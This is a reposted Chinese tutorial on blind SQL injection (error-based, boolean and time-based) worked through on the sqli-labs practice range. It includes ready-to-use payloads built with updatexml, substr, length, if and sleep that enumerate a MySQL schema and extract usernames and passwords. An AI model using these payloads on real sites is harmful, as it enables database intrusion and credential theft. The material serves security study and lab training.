0


盲注及sqli-labs靶场分析

什么是盲注

盲注是SQL注入攻击的一种形式,在盲注攻击中,攻击者无法直接从应用程序的响应中获得数据库中的数据,而只能通过观察应用程序在不同输入下的行为(通常是通过错误消息或不同的页面响应)来推断数据库中的信息。

盲注的分类

1.报错注入

报错注入是指通过向应用程序发送恶意的SQL查询,触发应用程序返回错误信息或异常来获取对数据库的访问权限或敏感信息。

例如我们在检测一个参数是否存在SQL注入漏洞,会尝试拼接单引号等,例如 id=1'

这是正常返回的界面,当我们拼接 id=1' 时变成如下情况,引起sql语法错误,这时网站会将错误打印在页面上

select * from users where id ='1''

对于union注入来说,他需要回显位将返回的结果打印出来,但对于这种只会输出报错信息,不会回显返回结果,就不能使用union注入了。

3.布尔盲注

所谓布尔盲注,是通过提交含有断言请求的语句,观察服务器返回的“True”和“False”来猜测数据库中的数据。当无回显点,又不能基于报错来读取数据时会进行布尔盲注。

3.时间注入

顾名思义,是利用时间的长短来判断SQL注入店是否存在,根据时间长短来得到SQL语句执行“True” 和 “False” ,用于SQL注入检测和数据读取中。

盲注前置知识

1.报错注入

常用的有十种报错注入方法:

1.updatexml()函数 2.extractvalue()函数 3.floor()函数 4.geometrycollection()函数 5.mulitipoint()函数 6.polygon()函数 7.multipolygon()函数 8.linestring()函数 9.multilinestring()函数 10.exp()函数

下面主要讲解updatexml()函数。

updatexml()函数

UPDATEXML函数的基本形式如下:

UPDATEXML(xml_target, xpath_expr, new_value)

参数说明

  • xml_target:指定要更新的XML类型的列或变量。
  • xpath_expr:指定XPath表达式,用于定位要更新的节点。
  • new_value:指定要更新的节点的新值

concat函数

在MYSQL中,concat函数用于将多个字符合并成一个字符串

2.布尔盲注

length()函数

用于确定某个字段或表中数据的长度。

substr()函数

substr()函数用于提取字符串的子串。其语法通常为:

SUBSTR(string, start_position, length)

string:要提取子串的原始字符串。

  • start_position:指定开始提取的位置。位置编号从1开始,表示字符串的第一个字符。
  • length:指定要提取的子串的长度。如果省略 length参数,则会提取从 start_position 开始直到字符串末尾的所有字符。

3.时间注入

使用时间的SQL注入方法获取数据的流程与布尔注入类似,在具体的payload上有细微区别。

sleep()函数

用于使查询暂停执行一段时间。

if()函数

IF(condition, value_if_true, value_if_false)

condition:一个条件表达式,如果该条件成立(返回 TRUE),则返回 value_if_true 的值;否则返回 value_if_false 的值。

  • value_if_true:当条件成立时,返回的值。
  • value_if_false:当条件不成立时,返回的值

报错注入攻击

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

其中 0x7e时ascii编码,解码结果是 ~

接着可以使用select语句继续获得表名,列名和信息。由于updatexml()函数报错内容长度不能超过32个字符,所以我们常采用limit()函数分页。

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

通过改变limit()函数的参数可以得到emails,referers,uagents,users四个表。我们选择查看users表

?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)--+

仍然通过改变limit()函数的参数可以得到 id,username,password。查看username,password的信息。

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users limit 0,1),0x7e),1)--+

通过改变limit()函数参数值来查看剩余信息。

布尔盲注

我们让id=1和id=1',前者页面返回正常,后者页面无回显数据,说明是单引号闭合,布尔盲注。

接下来我们要判断库名,就如同猜字游戏一样。我们首先判断库名的长度

?id=1" and length(database())>1--+

这里的1的位置上可以是任何数字,当为7时页面返回正常,当为8时页面报错,可以说明数据库的长度是8

接着我们构造payload来得出库名

?id=1' and substr(database(),1,1)='t'--+

有的方法会使用二分法去猜测,我这里使用的是burp爆破,因为一共有八个字符,所以上方第一个1可以作为一个变量,字典就是18;数据库名的字典范围是az。选用cluster bomb模式。

载入变量一,变量二的字典,开始爆破

得到的结果进行过滤,按顺序排下去得到库名”security“

首先爆破出表的最大长度 ,同上payload,最大长度为8

库名有了接下来我们爆破表了,同上构造的payload爆破出表的数量为4

接着构造payload爆破表的名字,有三个变量,第一个变量是0~3(因为有四个表),仍然选择集束炸弹模式

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='t'--+

通过参数的改变可以得出四个表为emails,referers,uagebts,users

接下来的操作就如同上面一样的操作爆出字段信息即可,在这里就不再一 一示范,只将payload写出来。

爆数目

?id=1'and (select count(column_name) from information_schema.columns where table_name='users')=6--+

爆列名

?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='t'--+

爆信息

?id=1' and substr((select password from users limit 0,1),1,1)='t'--+

从攻击过程来看布尔盲注需要发送大量请求,耗费很多时间 ,他的攻击规律是爆出结构,再获取数据。如果我们不知道数据库的名称,长度,结构,那么我们的攻击就很难运行下去了。

时间注入

我们尝试各种闭合发现都正常,无法判断是否存在注入点,这时我们就要考虑时间注入了。

?id=1' and sleep(5)--+

很明显看到延迟了五秒运行(也可以在burp中看), 证明存在注入点。前面说过时间注入方法流程与布尔注入相似,在构造的payload上有区别。

先爆出数据库长度,当>7时有明显延迟,而>8时没有,证明数据库长度为8。

?id=1' and if(length(database())>7,sleep(5),1)--+

接着仍然用bp爆破出数据库的名字

?id=1' and if(substr(database(),1,1)='t',sleep(5),1)--+

可以看到数据库名称是”security“ ,接下来我们仍然按union注入的payload替换掉database(),进行表名列名以及信息的获得。不过最重要的是首先要知道数据库的结构,这样我们才能往下进行一步步的攻击,因此一定要先判断出信息的长度等结构后再去爆信息。

标签: 安全 sql

本文转载自: https://blog.csdn.net/2301_80679350/article/details/140370008
版权归原作者 xiaohu爱冰拳 所有, 如有侵权,请联系我们删除。

“盲注及sqli-labs靶场分析”的评论:

还没有评论